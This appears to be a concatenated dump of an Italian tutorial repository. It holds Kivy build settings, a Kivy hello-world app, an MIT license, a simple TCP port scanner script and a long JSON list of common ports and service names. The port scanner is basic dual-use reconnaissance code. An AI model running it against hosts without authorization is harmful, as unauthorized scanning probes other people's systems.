(str) Android NDK version to use 100 | #android.ndk = 19b 101 | 102 | # (int) Android NDK API to use. This is the minimum API your app will support, it should usually match android.minapi. 103 | #android.ndk_api = 21 104 | 105 | # (bool) Use --private data storage (True) or --dir public storage (False) 106 | #android.private_storage = True 107 | 108 | # (str) Android NDK directory (if empty, it will be automatically downloaded.) 109 | #android.ndk_path = 110 | 111 | # (str) Android SDK directory (if empty, it will be automatically downloaded.) 112 | #android.sdk_path = 113 | 114 | # (str) ANT directory (if empty, it will be automatically downloaded.) 115 | #android.ant_path = 116 | 117 | # (bool) If True, then skip trying to update the Android sdk 118 | # This can be useful to avoid excess Internet downloads or save time 119 | # when an update is due and you just want to test/build your package 120 | # android.skip_update = False 121 | 122 | # (bool) If True, then automatically accept SDK license 123 | # agreements. This is intended for automation only. If set to False, 124 | # the default, you will be shown the license when first running 125 | # buildozer. 126 | # android.accept_sdk_license = False 127 | 128 | # (str) Android entry point, default is ok for Kivy-based app 129 | #android.entrypoint = org.renpy.android.PythonActivity 130 | 131 | # (str) Android app theme, default is ok for Kivy-based app 132 | # android.apptheme = "@android:style/Theme.NoTitleBar" 133 | 134 | # (list) Pattern to whitelist for the whole project 135 | #android.whitelist = 136 | 137 | # (str) Path to a custom whitelist file 138 | #android.whitelist_src = 139 | 140 | # (str) Path to a custom blacklist file 141 | #android.blacklist_src = 142 | 143 | # (list) List of Java .jar files to add to the libs so that pyjnius can access 144 | # their classes. Don't add jars that you do not need, since extra jars can slow 145 | # down the build process. Allows wildcards matching, for example: 146 | # OUYA-ODK/libs/*.jar 147 | #android.add_jars = foo.jar,bar.jar,path/to/more/*.jar 148 | 149 | # (list) List of Java files to add to the android project (can be java or a 150 | # directory containing the files) 151 | #android.add_src = 152 | 153 | # (list) Android AAR archives to add (currently works only with sdl2_gradle 154 | # bootstrap) 155 | #android.add_aars = 156 | 157 | # (list) Gradle dependencies to add (currently works only with sdl2_gradle 158 | # bootstrap) 159 | #android.gradle_dependencies = 160 | 161 | # (list) add java compile options 162 | # this can for example be necessary when importing certain java libraries using the 'android.gradle_dependencies' option 163 | # see https://developer.android.com/studio/write/java8-support for further information 164 | # android.add_compile_options = "sourceCompatibility = 1.8", "targetCompatibility = 1.8" 165 | 166 | # (list) Gradle repositories to add {can be necessary for some android.gradle_dependencies} 167 | # please enclose in double quotes 168 | # e.g. android.gradle_repositories = "maven { url 'https://kotlin.bintray.com/ktor' }" 169 | #android.add_gradle_repositories = 170 | 171 | # (list) packaging options to add 172 | # see https://google.github.io/android-gradle-dsl/current/com.android.build.gradle.internal.dsl.PackagingOptions.html 173 | # can be necessary to solve conflicts in gradle_dependencies 174 | # please enclose in double quotes 175 | # e.g. android.add_packaging_options = "exclude 'META-INF/common.kotlin_module'", "exclude 'META-INF/*.kotlin_module'" 176 | #android.add_gradle_repositories = 177 | 178 | # (list) Java classes to add as activities to the manifest. 179 | #android.add_activities = com.example.ExampleActivity 180 | 181 | # (str) OUYA Console category. Should be one of GAME or APP 182 | # If you leave this blank, OUYA support will not be enabled 183 | #android.ouya.category = GAME 184 | 185 | # (str) Filename of OUYA Console icon. It must be a 732x412 png image. 186 | #android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png 187 | 188 | # (str) XML file to include as an intent filters in tag 189 | #android.manifest.intent_filters = 190 | 191 | # (str) launchMode to set for the main activity 192 | #android.manifest.launch_mode = standard 193 | 194 | # (list) Android additional libraries to copy into libs/armeabi 195 | #android.add_libs_armeabi = libs/android/*.so 196 | #android.add_libs_armeabi_v7a = libs/android-v7/*.so 197 | #android.add_libs_arm64_v8a = libs/android-v8/*.so 198 | #android.add_libs_x86 = libs/android-x86/*.so 199 | #android.add_libs_mips = libs/android-mips/*.so 200 | 201 | # (bool) Indicate whether the screen should stay on 202 | # Don't forget to add the WAKE_LOCK permission if you set this to True 203 | #android.wakelock = False 204 | 205 | # (list) Android application meta-data to set (key=value format) 206 | #android.meta_data = 207 | 208 | # (list) Android library project to add (will be added in the 209 | # project.properties automatically.) 210 | #android.library_references = 211 | 212 | # (list) Android shared libraries which will be added to AndroidManifest.xml using tag 213 | #android.uses_library = 214 | 215 | # (str) Android logcat filters to use 216 | #android.logcat_filters = *:S python:D 217 | 218 | # (bool) Copy library instead of making a libpymodules.so 219 | #android.copy_libs = 1 220 | 221 | # (str) The Android arch to build for, choices: armeabi-v7a, arm64-v8a, x86, x86_64 222 | android.arch = armeabi-v7a 223 | 224 | # (int) overrides automatic versionCode computation (used in build.gradle) 225 | # this is not the same as app version and should only be edited if you know what you're doing 226 | # android.numeric_version = 1 227 | 228 | # 229 | # Python for android (p4a) specific 230 | # 231 | 232 | # (str) python-for-android fork to use, defaults to upstream (kivy) 233 | #p4a.fork = kivy 234 | 235 | # (str) python-for-android branch to use, defaults to master 236 | #p4a.branch = master 237 | 238 | # (str) python-for-android git clone directory (if empty, it will be automatically cloned from github) 239 | #p4a.source_dir = 240 | 241 | # (str) The directory in which python-for-android should look for your own build recipes (if any) 242 | #p4a.local_recipes = 243 | 244 | # (str) Filename to the hook for p4a 245 | #p4a.hook = 246 | 247 | # (str) Bootstrap to use for android builds 248 | # p4a.bootstrap = sdl2 249 | 250 | # (int) port number to specify an explicit --port= p4a argument (eg for bootstrap flask) 251 | #p4a.port = 252 | 253 | 254 | # 255 | # iOS specific 256 | # 257 | 258 | # (str) Path to a custom kivy-ios folder 259 | #ios.kivy_ios_dir = ../kivy-ios 260 | # Alternately, specify the URL and branch of a git checkout: 261 | ios.kivy_ios_url = https://github.com/kivy/kivy-ios 262 | ios.kivy_ios_branch = master 263 | 264 | # Another platform dependency: ios-deploy 265 | # Uncomment to use a custom checkout 266 | #ios.ios_deploy_dir = ../ios_deploy 267 | # Or specify URL and branch 268 | ios.ios_deploy_url = https://github.com/phonegap/ios-deploy 269 | ios.ios_deploy_branch = 1.7.0 270 | 271 | # (str) Name of the certificate to use for signing the debug version 272 | # Get a list of available identities: buildozer ios list_identities 273 | #ios.codesign.debug = "iPhone Developer: ()" 274 | 275 | # (str) Name of the certificate to use for signing the release version 276 | #ios.codesign.release = %(ios.codesign.debug)s 277 | 278 | 279 | [buildozer] 280 | 281 | # (int) Log level (0 = error only, 1 = info, 2 = debug (with command output)) 282 | log_level = 2 283 | 284 | # (int) Display warning if buildozer is run as root (0 = False, 1 = True) 285 | warn_on_root = 1 286 | 287 | # (str) Path to build artifact storage, absolute or relative to spec file 288 | # build_dir = ./.buildozer 289 | 290 | # (str) Path to build output (i.e. .apk, .ipa) storage 291 | # bin_dir = ./bin 292 | 293 | # ----------------------------------------------------------------------------- 294 | # List as sections 295 | # 296 | # You can define all the "list" as [section:key]. 297 | # Each line will be considered as a option to the list. 298 | # Let's take [app] / source.exclude_patterns. 299 | # Instead of doing: 300 | # 301 | #[app] 302 | #source.exclude_patterns = license,data/audio/*.wav,data/images/original/* 303 | # 304 | # This can be translated into: 305 | # 306 | #[app:source.exclude_patterns] 307 | #license 308 | #data/audio/*.wav 309 | #data/images/original/* 310 | # 311 | 312 | 313 | # ----------------------------------------------------------------------------- 314 | # Profiles 315 | # 316 | # You can extend section / key with a profile 317 | # For example, you want to deploy a demo version of your application without 318 | # HD content. You could first change the title to add "(demo)" in the name 319 | # and extend the excluded directories to remove the HD content. 320 | # 321 | #[app@demo] 322 | #title = My Application (demo) 323 | # 324 | #[app:source.exclude_patterns@demo] 325 | #images/hd/* 326 | # 327 | # Then, invoke the command line with the "demo" profile: 328 | # 329 | #buildozer --profile demo android debug 330 | -------------------------------------------------------------------------------- /Kivy-Introduction/main.py: -------------------------------------------------------------------------------- 1 | from kivymd.app import MDApp 2 | from kivy.lang import Builder 3 | 4 | KV = """ 5 | Screen: 6 | 7 | MDRectangleFlatButton: 8 | text: "Hello Kivy World!" 9 | pos_hint: {"center_x": 0.5, "center_y": 0.5} 10 | """ 11 | 12 | 13 | class MainApp(MDApp): 14 | 15 | def build(self): 16 | self.title = "Hello Kivy" 17 | self.theme_cls.theme_style = "Dark" # Light 18 | self.theme_cls.primary_palette = "Red" 19 | return Builder.load_string(KV) 20 | 21 | 22 | MainApp().run() 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Michele Saba 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_1/p_scan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | OPEN_PORTS = [] 4 | 5 | 6 | def get_host_ip_addr(target): 7 | try: 8 | ip_addr = socket.gethostbyname(target) 9 | except socket.gaierror as e: 10 | print(f"C'è stato un errore... {e}") 11 | else: 12 | return ip_addr 13 | 14 | def scan_port(ip, port): 15 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | sock.settimeout(1.0) 17 | conn_status = sock.connect_ex((ip, port)) 18 | if conn_status == 0: 19 | OPEN_PORTS.append(port) 20 | sock.close() 21 | 22 | 23 | if __name__ == "__main__": 24 | print("Programma scritto per solo scopo educativo!!!") 25 | target = input("Inserire Target: ") 26 | ip_addr = get_host_ip_addr(target) 27 | while True: 28 | try: 29 | port = int(input("Inserire Porta: ")) 30 | scan_port(ip_addr, port) 31 | print(OPEN_PORTS) 32 | except KeyboardInterrupt: 33 | print("\nExiting...") 34 | break 35 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_2/common_ports.json: -------------------------------------------------------------------------------- 1 | { 2 | "1": "tcpmux", 3 | "3": "compressnet", 4 | "7": "echo", 5 | "9": "discard", 6 | "13": "daytime", 7 | "17": "qotd", 8 | "19": "chargen", 9 | "20": "ftp-data", 10 | "21": "ftp", 11 | "22": "ssh", 12 | "23": "telnet", 13 | "25": "smtp", 14 | "33": "dsp", 15 | "37": "time", 16 | "42": "nameserver", 17 | "43": "nicname", 18 | "49": "tacacs", 19 | "53": "domain", 20 | "70": "gopher", 21 | "79": "finger", 22 | "80": "www-http", 23 | "82": "xfer", 24 | "83": "mit-ml-dev", 25 | "84": "ctf", 26 | "85": "mit-ml-dev", 27 | "88": "kerberos", 28 | "89": "su-mit-tg", 29 | "90": "dnsix", 30 | "99": "metagram", 31 | "106": "3com-tsmux", 32 | "109": "pop2", 33 | "110": "pop3", 34 | "111": "sunrpc", 35 | "113": "auth", 36 | "119": "nntp", 37 | "125": "locus-map", 38 | "135": "epmap", 39 | "139": "netbios-ssn", 40 | "143": "imap", 41 | "144": "uma", 42 | "146": "iso-tp0", 43 | "161": "snmp", 44 | "163": "cmip-man", 45 | "179": "bgp", 46 | "199": "smux", 47 | "211": "914c/g", 48 | "212": "anet", 49 | "222": "rsh-spx", 50 | "256": "rap", 51 | "259": "esro-gen", 52 | "264": "bgmp", 53 | "280": "http-mgmt", 54 | "311": "asip-webadmin", 55 | "366": "odmr", 56 | "389": "ldap", 57 | "406": "imsp", 58 | "407": "timbuktu", 59 | "416": "silverplatter", 60 | "417": "onmux", 61 | "425": "icad-el", 62 | "427": "svrloc", 63 | "443": "https", 64 | "444": "snpp", 65 | "445": "microsoft-ds", 66 | "458": "appleqtc", 67 | "464": "kpasswd", 68 | "465": "submissions", 69 | "481": "ph", 70 | "497": "retrospect", 71 | "500": "isakmp", 72 | "512": "exec", 73 | "513": "login", 74 | "514": "shell", 75 | "515": "printer", 76 | "524": "ncp", 77 | "541": "uucp-rlogin", 78 | "543": "klogin", 79 | "544": "kshell", 80 | "545": "appleqtcsrvr", 81 | "548": "afpovertcp", 82 | "554": "rtsp", 83 | "555": "dsf", 84 | "563": "nntps", 85 | "587": "submission", 86 | "593": "http-rpc-epmap", 87 | "616": "sco-sysmgr", 88 | "617": "sco-dtmgr", 89 | "625": "dec_dlm", 90 | "631": "ipps", 91 | "636": "ldaps", 92 | "646": "ldp", 93 | "648": "rrp", 94 | "666": "doom", 95 | "667": "disclose", 96 | "668": "mecomm", 97 | "683": "corba-iiop", 98 | "687": "asipregistry", 99 | "691": "msexch-routing", 100 | "700": "epp", 101 | "705": "agentx", 102 | "711": "cisco-tdp", 103 | "714": "iris-xpcs", 104 | "749": "kerberos-adm", 105 | "765": "webster", 106 | "777": "multiling-http", 107 | "800": "mdbs_daemon", 108 | "801": "device", 109 | "873": "rsync", 110 | "888": "cddbp", 111 | "900": "omginitialrefs", 112 | "901": "smpnameres", 113 | "902": "ideafarm-door", 114 | "903": "ideafarm-panic", 115 | "911": "xact-backup", 116 | "912": "apex-mesh", 117 | "990": "ftps", 118 | "992": "telnets", 119 | "993": "imaps", 120 | "995": "pop3s", 121 | "999": "puprouter", 122 | "1000": "cadlock2", 123 | "1001": "webpush", 124 | "1010": "surf", 125 | "1021": "exp1", 126 | "1022": "exp2", 127 | "1025": "blackjack", 128 | "1026": "cap", 129 | "1029": "solid-mux", 130 | "1033": "netinfo-local", 131 | "1034": "activesync", 132 | "1035": "mxxrlogin", 133 | "1036": "nsstp", 134 | "1037": "ams", 135 | "1038": "mtqp", 136 | "1039": "sbl", 137 | "1040": "netarx", 138 | "1041": "danf-ak2", 139 | "1042": "afrog", 140 | "1043": "boinc-client", 141 | "1044": "dcutility", 142 | "1045": "fpitp", 143 | "1046": "wfremotertm", 144 | "1047": "neod1", 145 | "1048": "neod2", 146 | "1049": "td-postman", 147 | "1050": "cma", 148 | "1051": "optima-vnet", 149 | "1052": "ddt", 150 | "1053": "remote-as", 151 | "1054": "brvread", 152 | "1055": "ansyslmd", 153 | "1056": "vfo", 154 | "1057": "startron", 155 | "1058": "nim", 156 | "1059": "nimreg", 157 | "1060": "polestar", 158 | "1061": "kiosk", 159 | "1062": "veracity", 160 | "1063": "kyoceranetdev", 161 | "1064": "jstel", 162 | "1065": "syscomlan", 163 | "1066": "fpo-fns", 164 | "1067": "instl_boots", 165 | "1068": "instl_bootc", 166 | "1069": "cognex-insight", 167 | "1070": "gmrupdateserv", 168 | "1071": "bsquare-voip", 169 | "1072": "cardax", 170 | "1073": "bridgecontrol", 171 | "1074": "warmspotMgmt", 172 | "1075": "rdrmshc", 173 | "1076": "dab-sti-c", 174 | "1077": "imgames", 175 | "1078": "avocent-proxy", 176 | "1079": "asprovatalk", 177 | "1080": "socks", 178 | "1081": "pvuniwien", 179 | "1082": "amt-esd-prot", 180 | "1083": "ansoft-lm-1", 181 | "1084": "ansoft-lm-2", 182 | "1085": "webobjects", 183 | "1086": "cplscrambler-lg", 184 | "1087": "cplscrambler-in", 185 | "1088": "cplscrambler-al", 186 | "1089": "ff-annunc", 187 | "1090": "ff-fms", 188 | "1091": "ff-sm", 189 | "1092": "obrpd", 190 | "1093": "proofd", 191 | "1094": "rootd", 192 | "1095": "nicelink", 193 | "1096": "cnrprotocol", 194 | "1097": "sunclustermgr", 195 | "1098": "rmiactivation", 196 | "1099": "rmiregistry", 197 | "1100": "mctp", 198 | "1102": "adobeserver-1", 199 | "1104": "xrl", 200 | "1105": "ftranhc", 201 | "1106": "isoipsigport-1", 202 | "1107": "isoipsigport-2", 203 | "1108": "ratio-adp", 204 | "1110": "webadmstart", 205 | "1111": "lmsocialserver", 206 | "1112": "icp", 207 | "1113": "ltp-deepspace", 208 | "1114": "mini-sql", 209 | "1117": "ardus-mtrns", 210 | "1119": "bnetgame", 211 | "1121": "rmpp", 212 | "1122": "availant-mgr", 213 | "1123": "murray", 214 | "1124": "hpvmmcontrol", 215 | "1126": "hpvmmdata", 216 | "1130": "casp", 217 | "1131": "caspssl", 218 | "1132": "kvm-via-ip", 219 | "1137": "trim", 220 | "1138": "encrypted_admin", 221 | "1141": "mxomss", 222 | "1145": "x9-icue", 223 | "1147": "capioverlan", 224 | "1148": "elfiq-repl", 225 | "1149": "bvtsonar", 226 | "1151": "unizensus", 227 | "1152": "winpoplanmess", 228 | "1154": "resacommunity", 229 | "1163": "sddp", 230 | "1164": "qsm-proxy", 231 | "1165": "qsm-gui", 232 | "1166": "qsm-remote", 233 | "1169": "tripwire", 234 | "1174": "fnet-remote-ui", 235 | "1175": "dossier", 236 | "1183": "llsurfup-http", 237 | "1185": "catchpole", 238 | "1186": "mysql-cluster", 239 | "1187": "alias", 240 | "1192": "caids-sensor", 241 | "1198": "cajo-discovery", 242 | "1199": "dmidi", 243 | "1201": "nucleus-sand", 244 | "1213": "mpc-lifenet", 245 | "1216": "etebac5", 246 | "1217": "hpss-ndapi", 247 | "1218": "aeroflight-ads", 248 | "1233": "univ-appserver", 249 | "1234": "search-agent", 250 | "1236": "bvcontrol", 251 | "1244": "isbconference1", 252 | "1247": "visionpyramid", 253 | "1248": "hermes", 254 | "1259": "opennl-voice", 255 | "1271": "excw", 256 | "1272": "cspmlockmgr", 257 | "1277": "miva-mqs", 258 | "1287": "routematch", 259 | "1296": "dproxy", 260 | "1300": "h323hostcallsc", 261 | "1309": "jtag-server", 262 | "1310": "husky", 263 | "1311": "rxmon", 264 | "1322": "novation", 265 | "1328": "ewall", 266 | "1334": "writesrv", 267 | "1352": "lotusnote", 268 | "1417": "timbuktu-srv1", 269 | "1433": "ms-sql-s", 270 | "1434": "ms-sql-m", 271 | "1443": "ies-lm", 272 | "1455": "esl-lm", 273 | "1461": "ibm_wrless_lan", 274 | "1494": "ica", 275 | "1500": "vlsi-lm", 276 | "1501": "saiscm", 277 | "1503": "imtc-mcs", 278 | "1521": "ncube-lm", 279 | "1524": "ingreslock", 280 | "1533": "virtual-places", 281 | "1556": "veritas_pbx", 282 | "1580": "tn-tl-r1", 283 | "1583": "simbaexpress", 284 | "1594": "sixtrak", 285 | "1600": "issd", 286 | "1641": "invision", 287 | "1658": "sixnetudr", 288 | "1666": "netview-aix-6", 289 | "1687": "nsjtp-ctrl", 290 | "1688": "nsjtp-data", 291 | "1700": "mps-raft", 292 | "1717": "fj-hdnet", 293 | "1718": "h323gatedisc", 294 | "1719": "h323gatestat", 295 | "1720": "h323hostcall", 296 | "1721": "caicci", 297 | "1723": "pptp", 298 | "1755": "ms-streaming", 299 | "1761": "cft-0", 300 | "1782": "hp-hcip", 301 | "1801": "msmq", 302 | "1805": "enl-name", 303 | "1812": "radius", 304 | "1839": "netopia-vo1", 305 | "1840": "netopia-vo2", 306 | "1862": "mysql-cm-agent", 307 | "1863": "msnp", 308 | "1864": "paradym-31port", 309 | "1875": "westell-stats", 310 | "1900": "ssdp", 311 | "1914": "elm-momentum", 312 | "1935": "macromedia-fcs", 313 | "1947": "sentinelsrm", 314 | "1971": "netop-school", 315 | "1972": "intersys-cache", 316 | "1974": "drp", 317 | "1984": "bb", 318 | "1998": "x25-svc-port", 319 | "1999": "tcp-id-port", 320 | "2000": "cisco-sccp", 321 | "2001": "dc", 322 | "2002": "globe", 323 | "2003": "brutus", 324 | "2004": "mailbox", 325 | "2005": "berknet", 326 | "2006": "invokator", 327 | "2007": "dectalk", 328 | "2008": "conf", 329 | "2009": "news", 330 | "2010": "search", 331 | "2013": "raid-am", 332 | "2020": "xinupageserver", 333 | "2021": "servexec", 334 | "2022": "down", 335 | "2030": "device2", 336 | "2033": "glogger", 337 | "2034": "scoremgr", 338 | "2035": "imsldoc", 339 | "2038": "objectmanager", 340 | "2040": "lam", 341 | "2041": "interbase", 342 | "2042": "isis", 343 | "2043": "isis-bcast", 344 | "2045": "cdfunc", 345 | "2046": "sdfunc", 346 | "2047": "dls", 347 | "2048": "dls-monitor", 348 | "2049": "nfs", 349 | "2065": "dlsrpn", 350 | "2068": "avauthsrvprtcl", 351 | "2099": "h2250-annex-g", 352 | "2100": "amiganetfs", 353 | "2103": "zephyr-clt", 354 | "2105": "minipay", 355 | "2106": "mzap", 356 | "2107": "bintec-admin", 357 | "2111": "dsatp", 358 | "2119": "gsigatekeeper", 359 | "2121": "scientia-ssdb", 360 | "2126": "pktcable-cops", 361 | "2135": "gris", 362 | "2144": "lv-ffx", 363 | "2160": "apc-2160", 364 | "2161": "apc-2161", 365 | "2170": "eyetv", 366 | "2179": "vmrdp", 367 | "2190": "tivoconnect", 368 | "2191": "tvbus", 369 | "2222": "EtherNet/IP-1", 370 | "2251": "dif-port", 371 | "2260": "apc-2260", 372 | "2288": "netml", 373 | "2301": "cpq-wbem", 374 | "2323": "3d-nfsd", 375 | "2366": "qip-login", 376 | "2381": "compaq-https", 377 | "2382": "ms-olap3", 378 | "2383": "ms-olap4", 379 | "2393": "ms-olap1", 380 | "2394": "ms-olap2", 381 | "2399": "fmpro-fdal", 382 | "2401": "cvspserver", 383 | "2492": "groove", 384 | "2500": "rtsserv", 385 | "2522": "windb", 386 | "2525": "ms-v-worlds", 387 | "2557": "nicetec-mgmt", 388 | "2601": "discp-client", 389 | "2602": "discp-server", 390 | "2604": "nsc-ccs", 391 | "2605": "nsc-posa", 392 | "2607": "connection", 393 | "2608": "wag-service", 394 | "2638": "sybaseanywhere", 395 | "2701": "sms-rcinfo", 396 | "2702": "sms-xfer", 397 | "2710": "sso-service", 398 | "2717": "pn-requester", 399 | "2718": "pn-requester2", 400 | "2725": "msolap-ptp2", 401 | "2800": "acc-raid", 402 | "2809": "corbaloc", 403 | "2811": "gsiftp", 404 | "2869": "icslap", 405 | "2875": "dxmessagebase2", 406 | "2909": "funk-dialout", 407 | "2910": "tdaccess", 408 | "2920": "roboeda", 409 | "2967": "ssc-agent", 410 | "2968": "enpp", 411 | "2998": "realsecure", 412 | "3000": "remoteware-cl", 413 | "3001": "origo-native", 414 | "3003": "cgms", 415 | "3005": "geniuslm", 416 | "3006": "ii-admin", 417 | "3007": "lotusmtap", 418 | "3011": "trusted-web", 419 | "3013": "gilatskysurfer", 420 | "3017": "event_listener", 421 | "3030": "arepa-cas", 422 | "3031": "eppc", 423 | "3052": "apc-3052", 424 | "3071": "xplat-replicate", 425 | "3077": "orbix-loc-ssl", 426 | "3128": "ndl-aas", 427 | "3168": "poweronnud", 428 | "3211": "avsecuremgmt", 429 | "3221": "xnm-clear-text", 430 | "3260": "iscsi-target", 431 | "3261": "winshadow", 432 | "3268": "msft-gc", 433 | "3269": "msft-gc-ssl", 434 | "3283": "Apple Remote Desktop (Net Assistant)", 435 | "3300": "ceph", 436 | "3306": "mysql", 437 | "3333": "dec-notes", 438 | "3351": "btrieve", 439 | "3372": "tip2", 440 | "3389": "ms-wbt-server", 441 | "3390": "dsc", 442 | "3476": "nppmp", 443 | "3493": "nut", 444 | "3517": "802-11-iapp", 445 | "3527": "beserver-msg-q", 446 | "3551": "apcupsd", 447 | "3580": "nati-svrloc", 448 | "3659": "apple-sasl", 449 | "3689": "daap", 450 | "3690": "svn", 451 | "3703": "adobeserver-3", 452 | "3737": "xpanel", 453 | "3766": "sitewatch-s", 454 | "3784": "bfd-control", 455 | "3800": "pwgpsi", 456 | "3801": "ibm-mgr", 457 | "3809": "apocd", 458 | "3814": "neto-dcs", 459 | "3826": "warmux", 460 | "3827": "netmpi", 461 | "3828": "neteh", 462 | "3851": "spectraport", 463 | "3869": "ovsam-mgmt", 464 | "3871": "avocent-adsap", 465 | "3878": "fotogcad", 466 | "3880": "igrs", 467 | "3889": "dandv-tester", 468 | "3905": "mupdate", 469 | "3914": "listcrt-port-2", 470 | "3918": "pktcablemmcops", 471 | "3920": "exasoftport1", 472 | "3945": "emcads", 473 | "3971": "lanrevserver", 474 | "3986": "mapper-ws_ethd", 475 | "3995": "iss-mgmt-ssl", 476 | "3998": "dnx", 477 | "4000": "terabase", 478 | "4001": "newoak", 479 | "4002": "pxc-spvr-ft", 480 | "4003": "pxc-splr-ft", 481 | "4004": "pxc-roid", 482 | "4005": "pxc-pin", 483 | "4006": "pxc-spvr", 484 | "4045": "npp", 485 | "4111": "xgrid", 486 | "4125": "opsview-envoy", 487 | "4126": "ddrepl", 488 | "4129": "nuauth", 489 | "4321": "rwhois", 490 | "4343": "unicall", 491 | "4443": "pharos", 492 | "4444": "nv-video", 493 | "4445": "upnotifyp", 494 | "4446": "n1-fwp", 495 | "4449": "privatewire", 496 | "4550": "gds-adppiw-db", 497 | "4567": "tram", 498 | "4662": "oms", 499 | "4848": "appserv-http", 500 | "4899": "radmin-port", 501 | "4900": "hfcs", 502 | "5000": "commplex-main", 503 | "5001": "commplex-link", 504 | "5002": "rfe", 505 | "5003": "fmpro-internal", 506 | "5004": "avt-profile-1", 507 | "5009": "winfs", 508 | "5030": "surfpass", 509 | "5033": "jtnetd-server", 510 | "5050": "mmcc", 511 | "5051": "ita-agent", 512 | "5054": "rlm-admin", 513 | "5060": "sip", 514 | "5061": "sips", 515 | "5080": "onscreen", 516 | "5087": "biotic", 517 | "5100": "socalia", 518 | "5101": "talarian-tcp", 519 | "5102": "oms-nonsecure", 520 | "5120": "barracuda-bbs", 521 | "5190": "aol", 522 | "5200": "targus-getdata", 523 | "5221": "3exmp", 524 | "5222": "xmpp-client", 525 | "5225": "hp-server", 526 | "5226": "hp-status", 527 | "5269": "xmpp-server", 528 | "5280": "xmpp-bosh", 529 | "5298": "presence", 530 | "5357": "wsdapi", 531 | "5405": "netsupport", 532 | "5414": "statusd", 533 | "5431": "park-agent", 534 | "5432": "postgresql", 535 | "5500": "fcp-addr-srvr1", 536 | "5550": "cbus", 537 | "5555": "personal-agent", 538 | "5566": "westec-connect", 539 | "5631": "pcanywheredata", 540 | "5633": "beorl", 541 | "5666": "nrpe", 542 | "5678": "rrac", 543 | "5679": "dccm", 544 | "5718": "dpm", 545 | "5730": "unieng", 546 | "5859": "wherehoo", 547 | "5900": "rfb", 548 | "5910": "cm", 549 | "5911": "cpdlc", 550 | "5963": "indy", 551 | "5987": "wbem-rmi", 552 | "5988": "wbem-http", 553 | "5989": "wbem-https", 554 | "5999": "cvsup", 555 | "6000": "x11", 556 | "6100": "synchronet-db", 557 | "6101": "synchronet-rtc", 558 | "6106": "mpsserver", 559 | "6112": "dtspcd", 560 | "6123": "backup-express", 561 | "6346": "gnutella-svc", 562 | "6389": "clariion-evr01", 563 | "6502": "boks_servm", 564 | "6510": "mcer-port", 565 | "6543": "lds-distrib", 566 | "6547": "apc-6547", 567 | "6566": "sane-port", 568 | "6580": "parsec-master", 569 | "6669": "ircu", 570 | "6689": "tsa", 571 | "6788": "smc-http", 572 | "6789": "radg", 573 | "6901": "jetstream", 574 | "6969": "acmsoda", 575 | "7000": "afs3-fileserver", 576 | "7001": "afs3-callback", 577 | "7002": "afs3-prserver", 578 | "7004": "afs3-kaserver", 579 | "7007": "afs3-bos", 580 | "7019": "doceri-ctl", 581 | "7025": "vmsvc-2", 582 | "7070": "arcp", 583 | "7100": "font-service", 584 | "7200": "fodms", 585 | "7201": "dlip", 586 | "7402": "rtps-dd-mt", 587 | "7443": "oracleas-https", 588 | "7627": "soap-http", 589 | "7676": "imqbrokerd", 590 | "7741": "scriptview", 591 | "7777": "cbt", 592 | "7778": "interwise", 593 | "7800": "asr", 594 | "7999": "irdmi2", 595 | "8000": "irdmi", 596 | "8001": "vcom-tunnel", 597 | "8002": "teradataordbms", 598 | "8007": "warppipe", 599 | "8008": "http-alt", 600 | "8009": "nvme-disc", 601 | "8021": "intu-ec-client", 602 | "8022": "oa-system", 603 | "8042": "fs-agent", 604 | "8080": "http-alt", 605 | "8081": "sunproxyadmin", 606 | "8082": "us-cli", 607 | "8083": "us-srv", 608 | "8084": "websnp", 609 | "8086": "d-s-n", 610 | "8087": "simplifymedia", 611 | "8088": "radan-http", 612 | "8090": "opsmessaging", 613 | "8100": "xprint-server", 614 | "8181": "intermapper", 615 | "8192": "spytechphone", 616 | "8194": "blp1", 617 | "8200": "trivnet1", 618 | "8292": "blp3", 619 | "8300": "tmi", 620 | "8383": "m2mservices", 621 | "8400": "cvd", 622 | "8402": "abarsd", 623 | "8443": "pcsync-https", 624 | "8500": "fmtp", 625 | "8600": "asterix", 626 | "8800": "sunwebadmin", 627 | "8873": "dxspider", 628 | "8888": "ddi-tcp-1", 629 | "8899": "ospf-lite", 630 | "9000": "cslistener", 631 | "9001": "etlservicemgr", 632 | "9002": "dynamid", 633 | "9009": "pichat", 634 | "9010": "sdr", 635 | "9050": "versiera", 636 | "9080": "glrpc", 637 | "9090": "websm", 638 | "9091": "xmltec-xmlmail", 639 | "9100": "pdl-datastream", 640 | "9101": "bacula-dir", 641 | "9102": "bacula-fd", 642 | "9103": "bacula-sd", 643 | "9111": "hexxorecore", 644 | "9200": "wap-wsp", 645 | "9207": "wap-vcal-s", 646 | "9418": "git", 647 | "9500": "ismserver", 648 | "9535": "mngsuite", 649 | "9593": "cba8", 650 | "9594": "msgsys", 651 | "9595": "pds", 652 | "9618": "condor", 653 | "9666": "zoomcp", 654 | "9876": "sd", 655 | "9877": "x510", 656 | "9898": "monkeycom", 657 | "9900": "iua", 658 | "9998": "distinct32", 659 | "9999": "distinct", 660 | "10000": "ndmp", 661 | "10001": "scp-config", 662 | "10002": "documentum", 663 | "10003": "documentum_s", 